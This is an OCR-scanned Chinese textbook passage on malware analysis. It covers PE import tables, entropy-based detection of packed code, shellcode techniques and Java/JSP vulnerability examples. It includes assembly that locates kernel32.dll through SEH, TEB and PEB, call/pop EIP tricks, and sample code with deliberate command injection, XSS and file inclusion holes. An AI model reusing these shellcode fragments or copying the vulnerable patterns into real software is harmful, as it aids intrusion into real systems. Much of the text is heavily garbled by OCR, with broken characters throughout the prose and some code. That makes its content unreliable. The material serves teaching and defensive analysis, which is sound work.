VirtualAddress % % F £ S edp Hm R Ak (RVA) » Ve ok izl
T A_M > import symbols 5 ;zié)]%é # 4p = IMAGE_IMPORT_DESCRIPTOR
LA RVA - @ isize 7 3 VirtualAddress #7dp » FOR e e o

WA g 4o fe 45 B~ S50 & 0 e Data Directory ' 5] % = 3 b
VirtualAddress ¢ 7 §% » o 5% A fmpk oo o8 SN A FE L A - B

IMAGE_IMPORT_DESCRIPTOR Hit7] - & g4 e 7 PE H§ » &3t eh-

AP B DLL enft o v de o 4ok 3% PE #5810 B % e DLL & §% > &3¢ > 78

PriglEszey 10 B f o2 dalri- B2 0 [k o T a iHmi § B
ol
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IMAGE_IMPORT_DESCRIPTOR STRUCT
union
Characteristics dd ?
OriginalFirstThunk dd ?
ends
TimeDateStamp dd ?
ForwarderChain dd ?
Namel dd ?
FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS

BHF - R - B union F BH FF L o B ounion F BHR LE
OriginalFirstThunk 37 1 — i %] & > &+ = LA 5 "Characteristics” « 3% = J
7 24y % - 1 DWORD 57 RVA - 7|32 7% — i3 DWORD %% + -
IMAGE_THUNK_DATA union - 78 & » IMAGE_THUNK_DATA *x §_it gr? &
 IMAGE_THUNK_DATA union #f &>t~ & # » &3¢ > i¢ % DWORD (¥
IMAGE_THUNK_DATA union) thph ZALFEALEE (IS N 273 ko R 71
GG REI) 0 R SR LA N S AR A L (TSR
B e vl p A A L

¥ - B30 LR B~ EXE 49 IMAGE_THUNK_DATADWORD ¥ i
BB (= (0x80000000) 2% * ° |4+ 4 & — B IMAGE_THUNK_DATA - H & %
0x80000112 » = & GDI32.DLL *£7] ¢ o % 7 i& IMAGE_THUNK_DATA #-j »
GDIS2DLL # % 112 8 91 (exported) st o 4o &340 & fEfy »
IMAGE_THUNK_DATADWORD j:p ¢ - f RVA (Relative Virtual Address ) -

ip = IMAGE_IMPORT_BY_NAME & 4 > d - & ﬁ?’l R o TR

98



IMAGE_THUNK_DATA union > @ % & 3 o0 & £ #§ » @ pF iz
IMAGE_THUNK_DATA = ;% - & IMAGE_IMPORT_BY_NAME 1 » #f1
PoPE— BB~ 35 $ k- B IMAGE_IMPORT_BY_NAME 1« &3R5 i
% IMAGE_IMPORT_BY_NAME 4426 § &£ 4 A A PF 285 53 - 6L

» 3V edp BTG

IMAGE_IMPORT_BY_NAME
STRUCT

Hint dw ?

Namel db ?
IMAGE_IMPORT_BY_NAME
ENDS

Hint : 477 & 33t 28 #08f DLL 951 31 4 @ a9k 3150 - 22358 4% PE loader
* ok f DLL sl Ao BRg st o Namel 2§ 41 &3t ehdn it 4o
;P A - B ASCH F 7 o R fgpg o4 Bkt Y 4% 7 on T@;ﬁ] x 305N PRB
FAHEFF n i IMAGE_IMPORT_BY_NAME 24f » # i fc Az it B4 <0
RVA 2z f IMAGE_THUNK_DATA &7 s - s> #0210 8k Risd

#- gt 7 7 RVA 22~ OriginalFirstThunk » i3 4% - & & @ yer I

OriginalFirstThunk &35 ¥4 - B DLL 7 i * 38 2 JREHD K o

\

*  IMAGE_IMPORT_DESCRIPTOR % # - FirstThunk £
OriginalFirstThunk 2= % #4p o2 » » #_ - B RVA » v =« g e - B
IMAGE_THUNK_DATA gL 5|(§ XL ¥ *t - B IMAGE_THUNK_DATA

B> 2 BB IMAGE_THUNK_DATA % 7|{v OriginalFirstThunk #;
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% i IMAGE_THUNK _DATA 5 710 % R2 2 - fh67) o 4 jein 5 - B
£ 7 509 RVA R % OriginalFirstThunk » @ % = i ' 7] 40 RVA B2 % FirstThunk »

Tfh- PR o AT AT S

OriginalFirstThunk IMAGE_IMPORT_BY_NAME FirstThunk
I I
IMAGE_THUNK_E&TA > Function 1 < IMAGE_THUNK_DATA
IMAGE_THUNK_DATA | | Function 2 - IMAGE_THUNK_DATA
IMAGE_THUNK_DATA g Function 3 . IMAGE_THUNK_DATA
IMAGE_THUNK_DATA Function 4 IMAGE_THUNK_DATA
S o
IMAGE_THUNK_DATA | Function n < IMAGE_THUNK_DATA
> <o

OriginalFirstThunk {r FirstThunk #fig = iz i WoF| & ] Bt PE R R
DLL ¢ §%» &3t enficp o bde > 4o% PE g/ kernel32.dIl # §% » 10 & &3¢ » 7%
% IMAGE_IMPORT_DESCRIPTOR # 1§ ¢ Namel # ¢ % 47 » F ¢
"kernel32.dll"s7 RVA » [ ¥ & B IMAGE_THUNK_DATA 73 10 i ~% o

DLL S * ¢ 31 - B JMP DWORD PTR [# » 3¢ =4t ] #ﬁ £ oo
[ » cha ;8 i=n] TF F %% 5| FirstThunk "£5]¢ ch— B A% o d 35 B
IMAGE_THUNK_DATA *£5|p % ¢ %;t;h S < ﬁ%l VSESTE ‘oz e RAu AL WP AMTIES
A AL Import Address Table (IAT) > d i FH FHE LM > 27 445>
& F L p 4% (Data Directory) © 3 — Iﬁié{j\ﬁsi? e Th A - B ER

B ] -
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7% 4-34 EHT R A B AL

Import Address

IMAGE_IMPORT_DESCRIPTOR HintMame Array Hint Name Table (1AT)
_‘—.: -:'_
Characteristics (hint-nams) g 44 GelMessage  Lyg |
TimeDataStamp —-{ 72 Loadlcon a—
. 19 TranslateMessage i —
ForwarderChain
. a5 sWindow il
Marme
— < SER3Z DLL" This table
overwritien
FirstThurik by PE loadesr
Additional

IMAGE_IMPORT_DESCRIPTORS
for ather DLLs, as necassary...

PE loader #-€ &R ™ & ﬁ%ﬁ EUE SN eI T
1 feskAh 2 F 45 2 PE % -
2.7%_DOS header =z_i= 3| PE header -
3.J& 2~ =* OptionalHeader F L p &=t o

A3 3 TR P &% - B2 f %P H VirtualAddress & o

/limport
5. 41* + 2% - B IMAGE_IMPORT_DESCRIPTOR %

i -

6.% #  OriginalFirstThunk & - % % % 0 » g %

i

OriginalFirstThunk #2 =7 RVA & #& » 78 B RVA & 7 o

M

OriginalFirstThunk % 0> #:c* FirstThunk & o 7 & @ d% % 4 =
PE 4P ¢ & OriginalFirstThunk & % 0 iz &% & £ bug- 7 i 3
7% rAz R AR E A& G OriginalFirstThunk & 4 -

L7

e

THNE BLI A FE 0 AP AR
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IMAGE_ORDINAL_FLAG32¢4r% %2 BB - 25 1578

x\“\‘

Bedn el d Blicdi r e T OUGE B A B R PR i

B.Ardk A A Bk B S L 00 T HZETL RVA #
IMAGE_IMPORT_BY_NAME *L7]- i Hint & 3853 -

QR HEIT - BULA~FHITHEEL- EILHRIN(T
null g &) o NP2 A= - B DLL hf' » Slic > 57 3 g2
T+ - 1 DLL -

10. Tt T - B IMAGE_IMPORT_DESCRIPTOR i /&JZ
hopt indkie BB P 5] A % o (IMAGE_IMPORT _DESCRIPTOR '
FIi- B2 0B AFRE) KR AP 0 AP SV g
PE 4 F4e e #h 383050 o b2 500 0 7 0D St A 50 )

ho s WM g aE

D
W
p
4
=
\4
=
3
bt
-
=
|

R S R R R PN Sy I S 08 - R g

Y ;\ o
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417 FRE

&

17 BB R RAES S HT R TR R B AR

=

11 E R SR A e BB LA - BRSO e I R K Ry

\4

TEsE S FUEA TG R T i BRI e B L RO E LR A o

C,‘“

d e B A B E L R A g % 42357 4 (code obfuscation) B 37 ok #F AR A

DR L RS SRR SLE RS Ty IR R

i@ (pattern-based) s B E R F P EELANA FZEPRY T BB iE
RGN TR SRS L S SR R S E R
WSNTHEHHNT > AT R B R I ARR€ RS DFEL o

TP E P e A S B E s BT R ARPRER JIF e BFE
% e A (diffusion)fei® % 14 (confusion) ek jies k iREH p £ e B aiF B2 o

B4t f1* 3-DES 4 Rig 82 kA4 4 RiFE 7T H (T4 o d > 3-DES #72 2

s

SR RRIE U TERIE A b RendcE > B RF AN T £4F 0 kS guF Y

/_@
T3

AR F o BB L OP FAALAG - 0 BRSO RAARA R AT R
FRRR BN BB X7 T o & 1984 & Claude E. Shannon 3% &1 7 3 2

st

% (Shannon entropy > 12 & f§ £ % entropy) k £ i — BAL R gt B o d 304 B4 B

2P RGO /B FORE AP T M AIF F O (entropy) k A - AF H

& F 3 IZ 4 (information theory) s 3 @ » = i& = (Binary entropy function)
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* k47— 0 YAl Benoulli trial)gh 3 FE e o § F - BEPSF EXX = 1pF

REAZEEFL X =0FRAZTERF F2 « APFT NBEXRFLPF Lp,0

PEBAPr(X=1)=p,aPr(X=0)=1—pa L XhFAHT H & :
H(X) = Hy(p) = —plogp — (1 — p) log(1 — p)
%P=%*ﬁ@’ﬁ?ﬁwﬂmﬂgé cmemp=1&p=0p> L E i

PFET MBS O

[ 4-35 EEHHY 7 B Hh S 8l

A

1.0 I+

H(X)
o
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7oL (Entropy) 41 #3* i B Bt & 60 R L 4 P3RS T 0 A
FFR -7 3 AT (uncertainty) g B T o4 2 148 77 354 1940 £ R d W F
I35 (information theory) sz & @ &2 7 Shannon entropy o v IR % e 5 AR
PRFFLR LS o APFIF RV REHIP R > R REIZR K
AF Gl BAR ke il ¥ T AR Y 9 0 £ A8 PR S F L op code >
L fatr o e TR R AT - BRE B KR ompdp £ F & jejne
2o M F AT g R R s RWEFL . FISRERBLE REERY

7 A e entropy *5 Mo T R T AF R Em g g o

Shannon Entropy

BRAPF A - GHSRDA R A - TR Hod § - el

BT RS FlE B AT F 12 e ¥ - 5 B RV R E D
TGt oa FRPF A TE GUERLER O APT U FR - L ERF S
Bk AZE (Samplespace) X 7 n ehik 2 F 2> B A AF 2 wi chpmd 5 pi
i=1,2,..,ncd 95 IRl 1o AL GBAYL pi=1pi=20i=
12,0, ne AP ¥ H(py, o, p) R 2 TS BHRAZFORR o d 2B IF H * &
PHIEF PR A S5 PLP2, o Pr EF W W, W SR A BT R R

Hpy, o D) F 2R FRREARES A REITAE > MTRIFEET A= BAA

2 2L e
|;",§ = .
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i HHEON Hpy, oo, pp) £ B 3050
d MR BRI p A - R EE A H(Dy, e, Pp) FEB AN R IRy, L, Dy

tH (g, ooy D)~ B BedF 538 5 5058 et o

i EFpy=o,i=12,.,n0 RIEESHC, ., )R N0 8 3R S

v

TR-Bre BT B - BA g R e NS R A SN A E S

111111 11 et A s ose s mm e h e e L e
1Gooiggn TP (5,5) = PR Ko ¥ €305~ b AR enE 48 S0 R

6,Aﬁizﬁﬁ%ﬁﬁsoﬁﬁ%&ﬁﬁﬂ%é%ﬁ%ﬁﬁ’

111111 11
H1 (_)_;_)_;_)_)>H2(_;_) °
66 6 6 66 22

iii.  FE - B&Hh, .., hy)~> 22 5 Bipseridshh, hyhs o BlR AP H &R
At Bhy 2 4o fEfe (weighted sum) :
BoIHi o 2P k7089 TRV s oo o N s g L
PIIRBIF SR @ IV 10 4 0 FEINP G 20 4 0 B e g
30 4 o FEMAHEM S g F G 50 0 F A BAPY o E A o

1 1 1 1 1 1 P
& o =5 —_— —_) N —_— —_) N —_— —_ /w\ ‘337! ’3:4 t % ;"K —4‘ A ‘:l S
= *E] fe r‘tHl(lO, ...,10) HZ(ZO, ...,20) H3(30,...,30) J ™~ & - F ] ):L‘é:

S S o fed AN Y BEH KT oo & 3k EE (weight sum ) B 7 FciR R

’ 2 - 1 X 1—7 N 'z A Ay N L
¥ s I 5’&5‘ H@’f”"iam FB IR o 20 k7 B H I L

Pt AT B AT N kiE - e R F L TS ﬁ‘ Mg %7

FER e TARH A AR A TR MR RS R o S AT I S e A 2
1

H(l 1 1)—1H(1 1)+1H<1 )+1H 1 1
3030’ 180) ~ 37 \10" " 10) T 212 \20 v 20) T MGy 30
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(812 4-36 /A TR SRS R R g

s /| 7 1 )
. = 1 20 %\ v
- s s N\
- i (4
1 =
1 ; 4
30




Ta AP RER - B R B
€32 1-1:

% BE (i) ~ (i) feii) o i HIG4F 2 4 2550 ¢

n
H(q, ..., Pn) = —KZ p; logp;

=1
HY KRB Rz : ¥ 8o

$- % A(n) =H (% %)n 57 gl A(s™) = mA(s), s frm 2 5 2 frde -

Sk s=2m=3 v T AR kP L o rApREAH(S,. D) =

11
’2

3H (3,5) » o i i (iii) @
1 1 11 1 11 1 11
H(g'---'g)=H<§'z>+[z%a)*z*’(z'z)]
1 11 1 11 1 11 1 11
i (33)+ 3 () 3 (32) * 34 (32)

B 11+H11+H11 _3H11
B (2'2) (2'2) (2'2)_ (2'2)
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1 1
8 8
1 1
8 8
1 1
8 8
1 1
8 8
1 1
8 8
1 1
8 8
1 1
8 8
1 1
8 8

3= 2 - A=
L@f}ﬁa\éﬁﬂg BT o

3K B LS,N frm s &

mlogs <nlogt<(m+1)logs

B
m_logt _m 1
n logs n n
&
m logt] 1
n logsl n

d i (i) 0 A RE p R RE BN S T R PRI

mA(s) < nA(t) < (m+ 1)A(s)

d Fits V¥ e
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A(t logt 2
® g|<

A(s) logsl n
Flanve UBER A R a2 B nEZM o &7
A(t)_logt|
A(s) logs
&
A®) _AG) _
logt logs
Y KZi- A2 48k S&hatiPy
A(t) =Klogt
d gt o
1 1 1
H(—, ,E>=Klogn=—1( —log —
=1

1 - 2 . 1 y
Tk RILHEANApi =2, i = 1, ..,

5o

1 , ’ 2 =+, > . P2 J 1 1
B dp Pe- BihZby MECRER T AP Hp =2,p, =4

P 2K/ L hG
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AR O

N l= = OE

[ XN

Dy ik i (i)

H1 1_H111+1H111+1
(6’”'6)" (2’3'6) 2 (2’3’3)

H111_H1 1 1H111 u
(2’3'6)" (6'”'6) 2 (2’3’3)

PR A RO AR PET 5 - HEP RS REP R

2,n3:1 ’ E]IJ
1 ny
Pr=5=
2 ny+ny;+n;g
1 n,
P2 =3 =
3 n;+n,+n;
1 ns
P2 e Tty + s

Bt m S gt ,;Hra,?‘ujg ;
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A= ON=R O m |~ O] -

N =



H(p1, p2,p3) = A (i ni> _

=1

$— LA NPT R E ASL oK Py, Dy ey Dy B
G

hp fR¥n,n,, .., n, ¢ ¥

p; =

f17 i (i) + 29 FleT %

P2 %% A(n) = Klognt » 3% 3

H(py, ....0r) = Klogz n; — zpl(Klogn )

#[Ynee(3n)

Kz pi(logn;) = KE p; log

23: piA(n;)

i=1

2hp o BRI =

T T
H(py, 2, spr) = A (z Tli) - z pi A(n;)
i=1 =1

T
j=1Ty
=—K2pilogpi
i=1
, / ]FB 7—“]39 | (*);\‘ é‘fl;r IF’ /% izl 1pl ES 1:‘!’1 I’w__ﬁi:pl,pz’ ,prg\::‘ o
FEH R PrPrs BRI ?&’Z?ﬂpi =1od iF20)> H 2 p, 00 ., prel?
Mol aZPg T §R

B [30117 1% nF L &4

RS LS

& 34‘:%1(,4‘:@;‘7%’&%3 y A -‘—‘_L'—h

VU
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L oo AR BATD BT ARG 0 T AR - ¢ R

=y
c
i
e
=
a\
N
=
i
E r
\»‘q

CHEL TR R T HFIUF R T - B

ripE o a RS- BnBEF T on S fpRDbyte e FHFFEH TG

HE) = = ) p()logs p(D)

He iv &2 5% 0B byte> ap(i)t £3Z&KE N MmailF > d 30— B byte en

5 0~256 0 @ Bt H(X)T iz B2 B enF S o @ it i LT 40 T

ARB AR EBAREPN F AP RARE o d BT I ITHEY LR opeode hiE EFH T

IS
N
N

Ho Fehek B - BEHEH T AT R 6 LR SSERN - B4 4-38 5
AT 1T# 5 5P notepad.exe en= 1 byte B e IAF F enli Bl & - 4 5 ¢
¥ — 4rennotepad.exe o iz d AMMiE A T UPX 4e BB is dp S B4 » @ % d PlEAR
4= notepad.zip 1l & - J<H ¥ Fvk & hnotepad.exe ¢ 7 % % 00 & FF hig »
SEBERT BB 0 & B byte i nd BE F R RT DA 4T B hE
FYoos IR BlE 430 MEFE S HE VR EHT g TR E
FPaBBELOERG Y o 0 BREFERL > g3 2 SRR DEE G > @

feP IR % o 4o {8 hnotepad.exe R AL/ A0S H 2 e
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&% 4-38 Notepad.exefy&—{Ebyte(H HIRAEAR

30000
25000
20000
15000 e Notepad.exe
—
10000 e PRUE(S
5000 I
OMMW
O 0 O T N O N O T NO N WO NOOW O ST ANOM O ITANO X O IFT AN O
A NN T TN OMNOWO DO A NN MM O O NI OOANMST
™ = o 1 1 AN NN NN NN

[l 4-39notepad.exefiiiEE 1% A {E (00FRFF)HYELHEL

1400

Notepad.exe
1200

I —IRkt&

1000

800

600

400

200

Rl AR R U R e (R4 4-38) 0 RIS TR Y & B byte o)
RS p(i)est B AT OTF 2887 I e 8w A NG A
BB - T FRDF e o JER A 4-40 0 F G R ehdvi & T T ey
o A B BBLEREFTHOFTREEF 7L R - RobertLyda % + % & 7 2 ik
RFAL s R s T R AR R R AR o R E N Bl

EHFOTRNL FL0, TT FIF L 440 OF D A FZ WRILL TR
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BRAEPT UE 7 99.99%RGFEFAR o d F B Y - g T Ak D

p()log,p()iE» H° Ly ZETH2 fr‘u? FIF = -7 PR

BB FAFETIEFT ARG AL R E S > d T T R FRF B byte d

AL ¥ ii4e~ o (4 notepadexe ¥ 5 00 & FFAp$t>t H s B H 1 B
SPLAPET RS - B R gk 2 LF S

GEE

B 4-40 ROBERT LYDA, JAMES HAMROCK 43t sl it 2RIy TR

PR & T3DenF A | 99.99% Fre. | F B 2P F | 99.99% FxE
* [F] AF B R B | R
Tn
e 4.347 4.066-4.629 4.715 4.401-5.030
GEREE 5.099 4.941-5.258 6.227 6.084-6.369
BHFH | 6.801 6.677-6.926 7.233 7.199-7.267
e BmAGFR | 7.175 7.174-7.177 7.303 7.295-7.312
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4.1.8 @pHGEEucBRBEN

REFLNELARNTEF L2 §RELRIBM R afpRY o kd@d

Bl R P F g B2 T AR C EHARIIVI- MR F

oo 30— B s R mak g B DR EcE & Jump 0P R ak o e % R T SR A
ARk F R B RFREE BEELANEZD ¥ OuFF o

Flot o ERAL bor iy o L AW e AN A bl

—\

v

£l
izl o R EATL ML PR R g MR Ecet & Jump P Rk o <
FHEFROTY B EY mEILANE R B PRANBE T Agve R
& Jp A H#-p w g0 Program Counter(eip &)/& » Jafpis - L3 dfp? F 0 ofd

iT4k2 5 Call/Pop & 51 -

Call/Pop Examplel:
call getDelta
getDelta:
pop ebp
sub ebp,offset getDelta

do b e b 0 B R AR \I%)]% f1#* Call/Pop & 7] > £ % Call #-3 B~
¥ Program Counter(eip &) » #-H & » sadpis » £ 3afpv 3 4 -
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Call/Pop Example2:
_asm {
jmp locate_addr0O
getApiStr_addr:

pop ApiStr_addr //JE P~Ze [ %8 kb

/]2 ¥ cr1ShellCode & R #7575 75 2% A

__asm

——

locate_addrO:
call getApiStr_addr //5 bytes

TN
EE AN =

[T

__asm
{

nop
nop
nop
nop
nop
nop
nop
nop

SHIRI T P C2E S %l efet ¢ o — 2117 Call/Pop A 7|2 B @ 4 7 £ 4
e Program Counter(eip &) °

R e R ak 2 (8 o ,ﬂgi‘éﬁiﬁiﬁg 4 w2l Wind2 =0 AP] k%
PRI TR b 1 > pt B AL S Hook AP o & R 425" i hook API ehp=iz » il

¥ €240 kerneld2.dll ehi=% > pt =% ¥ f1* FS %5 % ¢ «» SEH, TEB, PEB
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FALEH R E ® kernel32.d11 e la i =k o

SEH,TEB,PEB iz = i TR B 23" FS LANER g SN AL

Position Length Description

FS:[0x00] 4 Current Structured
Exception
Handling (SEH) frame

FS:[0x18] 4 Thread Environment
Block(TEB)

FS:[0x30] 4 Linear address
of Process Environment
Block (PEB)

TEB(Thread Environment Block):s* %4 5 - Bl i 25 7 7

1 TEB block -

[

% B B User-Mode s lad ¥ e i Susfdlic 5 - B FH30F 5
= sl

PEB(Process Environment Block):* F R 7 ¢ 7 R iz i Process #77

User-Mode » £k kb5 Bf i 5-dic o

if 3§ SEH(FS:[00])2~ ¥ KERNEL32.DLL =& %8 i=ht ch= 2

XOr ecx , ecx

mov esi, fs :[ ecx ]
find_seh:

mov eax ,[ esi ]

mov esi, eax

cmp [ eax ], ecx

jns find_seh // Oxffffffff

mov eax , [ eax + 0x04 ] // handler
find_kernel32 base :

dec eax

XOr ax, ax

cmp word ptr [ eax ], Ox5a4d
jne find_kernel32_base
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http://en.wikipedia.org/wiki/Structured_Exception_Handling
http://en.wikipedia.org/wiki/Structured_Exception_Handling
http://en.wikipedia.org/wiki/Structured_Exception_Handling
http://en.wikipedia.org/w/index.php?title=Process_Environment_Block&action=edit&redlink=1
http://en.wikipedia.org/w/index.php?title=Process_Environment_Block&action=edit&redlink=1

FS:[0] 4p e enA_SEH> v ~ ¢ i+ kernel32.dll j* 3% -FS:[0] 45w e4_SEH

S Koo AT HIER DR K RIE o w b B 45 F] prev & B &b O «n

S|

EXCEPTION_REGISTER 4 » $%4 ff60 handler i3 2% s neigL i f -
DLL e load &hp i £_r2 64K 5 B = Gfbas » 5700 3 & )% 45 3] ehdy o B 1 2
¥ RILp iR T 4450 £ 5 & PE~ * MSDOS fhigfts > F & &= B 64K

AR AP MZ7F3 B2 )Tklﬁ‘i 3 3 kernel32.dll erze (B 48 = ht -
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i i§ TEB(FS:[18])2~# KERNEL32.DLL 3z H aten &

Xor esi, esi
mov esi, fs :[ esi + 0x18 ] // TEB
mov eax, [ esi+ 4 ]

mov eax , [ eax - Ox1c] // a‘?, w Kernel32.dll p %
find_kernel32_base :
deceax// B 4op L N2 Kernel32 7 B

Xor ax , ax
cmp word ptr [ eax ], 0x5a4d // "MZ"

jne find_kernel32_base // — ® 33|35 F|P]E ® eax

i 1§ PEB(FS:[30])3~ ¥ KERNEL32.DLL & 4Y iih i 5%

mov eax,fs:[30h] ;19 3] PEB e it nt

mov eax,[eax + Och] ,:5’ 7] PEB_LDR_DATA . *f#) R AY > h

mov esi,[eax + 1ch] ;InlnitializationOrderModuleList

lodsd ; ¥ 3 KERNEL32.DLL *r %A LDR_MODULE % ’f]%‘_ g
InInitializationOrderModuleLists & %4 i+ k-

mov edx,[eax + 8h]  ;{¥ I| BaseAddress > T Kernel32.dll 3= {f %8 = %

73 Win32 APl srze g = hb s » BER AR ATE @ % cn APl enizpnb ¥ 1134
247 3% dll 3 s e & (Export section) fe 3~ 3 nk % (Import Address
Table, IAT) % = ;3 % 2~{8 > » ¥ £ 4 kernel32.dll ¥ #-z GetProcAddress 13 ht >

£ * GetProcAddress(“Win32 API £ 37”38,k & 3 )EF 1|2 8 ch APl 2 4t o 973

\-‘-ﬂ

1 APl » ¥ % i LoadLibrary & 4c gt -
Flw b i A4 SN ETE R AR 0 AP AR g o Jd T RHE LR Ao

EA LA ARFDT > R EREHIREDTF T RS RIEE TR
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E R FOTEREY g EEAAMEREAITNELAS RBARE T =

2
|

T HE AN RSB IRBE - HHE L AT E R RRE P 1 1Y

LS

“ﬂ;

AL ABERN RS FlA R ARBEIL AN T E SRR EY
it THEATA E RN AR R 0 AP FEE LB {ATEATE AR
BOooEFR L HHFEAITHERBOT Y BFEX AR HRATRE

AR e & g oo
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B. #cA8 R hedl iR A T
G PR Y o S T T Y 2 R B R e R I S

A AP HHEOT P FROLLERDERES > NERL Y

==
—\
3
R
Tl
=

A BRI ES A o R T B EhE Ko B A G gl e

BT 0 NI R R R DB SO B S 4 4 iE

bal
e
&
]

s o REFAT AR BRI AT AERWE 2T LM - R E AP

\

PR FTT 0 A A AR KARGE < P (e H S o @ AR AR S 2 AR

\*‘V

L
AR B RGET O PR iRF 0 2 R R RBRSER AR FhE 2
RN RIFAA L TRIE NP B TREKRAR Y TURF 0 1 A0 2RO AR
Rk AL o

FORHBM AT EfE TR E C T30 w AR ) e AR
LHABRg o a RPN K p RS E R LB ST
L Een? WA eipthadge 2 17 o F F EFCHBM T 2K
A2 Vg 2y RSB RESNIE » > F A R RH T RRE 2 g
Flt > FHR R TR 20 G TR ER NS E Y o

BLEDHFMOFT AL 2B 2P RN 2L FRE FE LT
TH AR RR B G B 0 PR AT NE R AR 0 3 2T Al fest P AR
p 2 R N T SN i RV ?ﬁi@ﬂfﬁﬁfﬁ%?-ﬁ%*fﬁﬂ"ft“&ﬁﬁmi
PETARBY O FREIALFLE L RNBRFRRA 2 X LR

8 AL
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b - Eantd ¢ FE I CrCHe PHP iz 35 il % 2R

Zo4FF o A A RK T T P B IR 0 Java &2 VB.Net A7 7 5 e i e

C~CH++&2 PHP § & x éh2 | > & § 4 20 4 5 4

>
R

\

o

P 38 s B P T B AN A
PHREHEE S ETLESRFHIREZNGLTEL S F AR

Gp R AR EE AN FE AR 2SR R AER B
AN P AWARERFMICI T ALGEERR BRI 2N AL E 2
il o Fet A R S MR RATRAT Y 0 Bfd AT T A R AR
R bR FAENE T P L e RF o Rt R e fRET 0 TR AR
-\:;J.ﬁ AR E g ek o MBS ETIR S TR A 4 A
oA A o BA BT A A T X o MRS Y R b
AAT N R - BREOR G # Y P FEHEAT LS TR R
B o

HHEMFRLE 2R FLEAHESEBIED ¢ (1) 3% Java 112
VB.INET &% 3 R B 22 F 43> L8475 2 Rk DIz R F] S R e ik m o
R VIR Z AR R o IR 2 SR AR AR R O]~ B AR AR B B2 R T
FHT N2 F LR SRR LR 2 B RS R R 2K
end A e (2) JcB WS g B¢ > 02 Java®r VBINET & fdiF 2 2 fu
Bk TAENIROE A RFL B R REREEA S H RN B R
FRde 1 edp M 2 s IFRR BEhA 7833 o (B) AT T ALK R4S E L A 15 en

ﬁﬁ’fﬁﬂ@%ﬁﬁﬁiiﬁWﬁﬁ’ui&%ﬁﬁﬂis’%&ﬁa&¢
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BRI EDE > E{D RN B EEA T ER -

Java 7 2 VB.NET ¥ & & 2 f2;8 % 2> ¢hEF (vulnerability)

AR R E A 0 B A 2 AR R A E O R B ARSI
g A4 o FET RS BRI ATICR DR R A4 o 0 TR S fR S B P A
Rt % 23 {FRADT R RSP HDENE 2DLFEY > d
Tsipenyuk % 4 #7310 > 42 3% 5k (vulnerability) i & #8 % Sedc 5 F L o B0
FEN R T ke s RS - Vi T VIR R SRR L B2 kiR
Eh FEB RS RFF LSS 3 A ERENTRE 2R DR T T

$H S de— BATE A S B RER T ¢

4.1.9 Input Validation and Representation (Java)

I.  Command Injection

J& F F R RS G E RR(source) & T B e £ (command) s 3 5R 7t
FH ot g % (uffe)p ShER & £ o

Command injection *i&iF 1 & 5 A #8315 > H - ST F H 7 i reqe R}
Fengd o B ESFET R ELREAFT SRR > L F 4 0 TLF

B T 6 EenkiRie ~ B ¥ AR e 2 TR B F R A LT R AR g

o

Pfe s S Frd STEF B R A £ PR RS S F RN

String home = System.getProperty("APPHOME");
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String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);

1LE enfe st E R st AR SN -

-rx\j,

» % i se? APPHOME sl 7 % i
TH P& BFL LT AP EED L %A (seript) o

Fabgr P o FR* 1 & 5T INITCMD A5 & 5 F il ek 3 0 2
B ek s? APPHOME k= o A28 enghi - ¢ iir s F SR F I &
boo F1A ARSI REAIRR £ P2 B (35 0L APPHOME) » e % sc#f & 7

Mgl BICR R T U HSEY RS2 TR R e s a6

el R 2 AT R N R 2R 0 PR R e R
F f_’w‘{ﬂbl °

Il. Cross-Site Scripting: Poor Validation

Persistent ¢t f& ¢ cross-site scripting (XSS)# » & #ix - B A S HRBOTHE
e i e 9 (browser) 0 AT ERFIT BT E L A2 o

XSS P F S § NI AT A AN B RS - B3 G
%R~ R st 423N 0 % persistent XSS AT 0 % R ch kR ¥ £FR

B & F {5 > (back-end) s 5 L % 7

34\
;3\1'\
g
1y
ﬁ\m
=
o
it
25
(ﬂd\
N
s
o
=
Wt
—
o
<
>
D
3
o

content)p¥ » KRG HFEH T ¢ 7 BEAASIRE E - PR

T

AV ELRRFATENELN F 30807 Javascript 7 £ (segment) =4 55 >

34 & 5 HTML ~ Flash & 2.8 & 7 B 7 1244 (7 efe 58 47 4] > XSS - g sc ¥ e
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S NZER S e B H ¥ ﬂ];rs ¢ Bix X m?‘}*’@I(?"ﬁ » %%_cookie g &_session >
BEFRL LT FEATED D E AR R p BT 0 S LA K A K

BT T KL T R B AR -

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp
where id="+eid);
if (rs !=null) {
rs.next();

String name = rs.getString("name");

%>

Employee Name: <%= name %>

L enfest ISP et R R g A TR A Sinfi 1 ID > & T Bl

4ot name cHE T FAEE PR ARN S €0 W EF T Rk ERT F D

T pF o BRIV e R L F o AR RA B 0 B FA name & R R T

FHRORMFFHET g * s REELN FOEE - F AT e THEA
S RERE R F 7 R Y FpeRIFTEY {7E LI 4 (command) -
Persistent XSS ] 5 B4 enT Rl 53 SR ¥ 0 2 Z RS
- Aﬂz ST A P € M 4 o XSS e B € 3 PR *T—’%—*f ¥ % 1 (guestbook)
e HE B 4 o I’J:é?—g ¢ 4v » JavaScript ** F 2 R p ¢ > ERE KIS

P eniier 57 g [T BRARS
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Higd- 28 BB SR GERRL&RE > 1 B8 E T
BN oo St AL EREL TR B SRR R TR TREN -
lll. Dangerous File Inclusion

F R R v 4 ISP ¢ bk o ¥

_?iﬁ
>,+
i
=
=
P
=
d
%

EEREDAANBAPGE -

F 5oL e LU A 3E S (scripting language) 0 sc £ AR @ F N i 42 5N AR
v d A% B4 e £ % (encapsulating file) ¥ & 7 g7 ¢t e kR A% % (source file) -
P ¥R A AR iR (look) 0 A R MBS BT LR L
P MAAENBRE AV EIEI K o & 72 EARE TSk (parent)
Fih- e o TR e R T o

T PR RIS AR HFEOR Y F W T 0 R g H 2 file

inclusion * f& & F -

<jsp:include page="<%=
(String)request.getParameter(\"template\")%>">

M ARSNR Y TR Y A dg T ehie & (template) F AR -1 o~ JSPE o
TR L FREPADELE  RERARS e 7 R A IR B 2 gy
#]# & # 7 (include) # it (statement) -

Ik E R RGO A F A RN 6T ISP 2

WE o hok EM v TS 0 bl4oletc/shadow > A E Vi €+ 5 HTML ﬁ%l d -

7

HENER LSS S i YoErE S bt R L Sl A5 U S
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ERLNE LG -

H— @ ;%l-zgjgl,\ Z_HeiE o RS BRI R % R

H ﬁ’iﬁ—" DES Po=
W59 AR TR R 22 R 0 FRIRHES ﬁbﬁitﬁ_iﬂﬁ] ORI R 5
FREZRET 2R & R Y FH o LB iydl
IV. Denial of Service
EE ST

